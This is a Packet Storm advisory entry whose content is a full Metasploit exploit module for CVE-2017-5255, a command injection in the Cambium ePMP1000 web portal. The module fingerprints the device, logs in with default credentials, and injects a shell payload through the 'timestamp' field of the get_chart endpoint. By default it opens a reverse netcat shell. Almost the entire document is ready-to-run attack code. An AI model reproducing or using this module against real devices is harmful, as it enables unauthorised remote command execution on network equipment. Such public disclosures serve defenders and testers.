Cambium ePMP1000 3.1-3.5-RC7 Command Injection

2017-12-29T00:00:00
ID PACKETSTORM:145539
Type packetstorm
Reporter Karn Ganeshen
Modified 2017-12-29T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",  
'Description' => %{  
This module exploits an OS Command Injection vulnerability in Cambium  
ePMP1000 device management portal. It requires any one of the following login  
credentials - admin/admin, installer/installer, home/home - to set up a reverse  
netcat shell. The module has been tested on versions 3.1-3.5-RC7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-5255'],  
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']  
],  
'Privileged' => true,  
'Targets' =>  
[  
['CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
]  
],  
'DisclosureDate' => 'Dec 18 2017',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })  
)  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])  
], self.class  
)  
  
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')  
end  
  
#  
# Fingerprinting  
#  
def is_app_epmp1000?  
begin  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
}  
)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return false  
end  
  
good_response = (  
res &&  
res.code == 200 &&  
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))  
)  
  
if good_response  
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)  
if !get_epmp_ver.nil?  
epmp_ver = get_epmp_ver[1]  
if !epmp_ver.nil?  
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")  
return true, epmp_ver  
else  
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")  
epmp_ver = ''  
return true, epmp_ver  
end  
end  
else  
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")  
epmp_ver = nil  
return false  
end  
end  
  
#  
# check  
#  
def check  
success, epmp_ver = is_app_epmp1000?  
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')  
return CheckCode::Vulnerable  
else  
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'  
end  
end  
  
#  
# Login  
#  
def login(user, pass)  
res = send_request_cgi(  
{  
'uri' => '/cgi-bin/luci',  
'method' => 'POST',  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest',  
'Accept' => 'application/json, text/javascript, */*; q=0.01'  
},  
'vars_post' =>  
{  
'username' => 'dashboard',  
'password' => ''  
}  
}  
)  
  
cookies = res.get_cookies_parsed  
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
  
good_response = (  
res &&  
res.code == 200 &&  
check_sysauth.include?('sysauth')  
)  
  
if good_response  
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)  
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)  
  
res = send_request_cgi(  
{  
'uri' => '/cgi-bin/luci',  
'method' => 'POST',  
'cookie' => sysauth_value,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest',  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'username' => user,  
'password' => pass,  
'prevsess' => prevsessid  
}  
}  
)  
  
good_response = (  
res &&  
res.code == 200 &&  
!res.body.include?('auth_failed')  
)  
  
if good_response  
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
  
# check if max_user_number_reached?  
if !res.body.include?('max_user_number_reached')  
# get the cookie now  
cookies = res.get_cookies_parsed  
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)  
stok_value = "#{stok_value_dirty}".split('"')[3]  
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s  
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)  
  
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"  
  
# create config_uri  
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'  
return final_cookie, config_uri_get_chart  
else  
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')  
final_cookie = 'skip'  
config_uri_dump_config = 'skip'  
config_uri_reset_pass = 'skip'  
config_uri_get_chart = 'skip'  
return final_cookie, config_uri_get_chart  
end  
else  
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
final_cookie = 'skip'  
config_uri_get_chart = 'skip'  
return final_cookie, config_uri_get_chart  
end  
end  
end  
  
#  
# open cmd_shell  
#  
def cmd_shell(config_uri, cookie)  
command = payload.encoded  
inject = '|' + "#{command}"  
clean_inject = CGI.unescapeHTML(inject.to_s)  
  
print_status('Sending payload...')  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => config_uri,  
'cookie' => cookie,  
'headers' => {  
'Accept' => '*/*',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With' => 'XMLHttpRequest',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'measure' => 's', # This parameter can also be used for injection  
'timestamp' => clean_inject,  
'debug' => 0  
}  
}, 25  
)  
handler  
end  
  
# exploit  
  
def exploit  
_success, epmp_ver = is_app_epmp1000?  
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')  
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')  
return  
else  
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookie == 'skip' && config_uri_get_chart == 'skip'  
return  
else  
cmd_shell(config_uri_get_chart, cookie)  
end  
end  
end  
end  
`